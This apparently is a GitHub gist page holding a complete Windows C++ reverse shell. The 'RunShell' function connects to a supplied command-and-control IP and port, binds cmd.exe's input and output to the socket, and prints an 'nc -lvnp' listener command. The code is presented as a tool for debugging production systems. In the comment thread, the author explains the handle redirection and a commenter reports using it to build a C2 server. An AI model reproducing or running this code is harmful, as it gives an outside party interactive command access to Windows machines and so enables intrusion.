Skip to content

Instantly share code, notes, and snippets.

@mrexodia
Last active November 5, 2023 13:17
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save mrexodia/ff921d366f62d162f4041f4b39146318 to your computer and use it in GitHub Desktop.
Save mrexodia/ff921d366f62d162f4041f4b39146318 to your computer and use it in GitHub Desktop.
Reverse shell winapi c++ windows cmd. Useful for debugging production environments.
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
/*
THIS IS FOR DEBUGGING ONLY, DO NOT RUN THIS CODE IN PRODUCTION UNDER ANY CIRCUMSTANCE!
https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp
https://github.com/tudorthe1ntruder/reverse-shell-poc/blob/master/rs.c
https://eternallybored.org/misc/netcat/
*/
static void RunShell(char* C2Server, int C2Port)
{
printf("RunShell(\"%s\", %d), to connect: nc -lvnp %d\n", C2Server, C2Port, C2Port);
constexpr auto tickTime = 1000;
constexpr auto totalTicks = 120;
printf("Waiting a total of %dms for a connection...\n", tickTime * totalTicks);
for (int i = 0; i < totalTicks; i++)
{
Sleep(tickTime);
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2, 2), &version);
mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR)
{
closesocket(mySocket);
WSACleanup();
continue;
}
else
{
puts("Client connected!");
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
closesocket(mySocket);
WSACleanup();
puts("Shell closed");
break;
}
}
}
@Quyet1999
Copy link

I have a question. I don't see the client sending output to the server, so how can ncat get the output when running the command in the client?

@mrexodia
Copy link
Author

It’s automatically done by Windows via the process handles for stdout, stderr, stdin

@Quyet1999
Copy link

I wanted to build c2 server and I did. Thank you very much!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment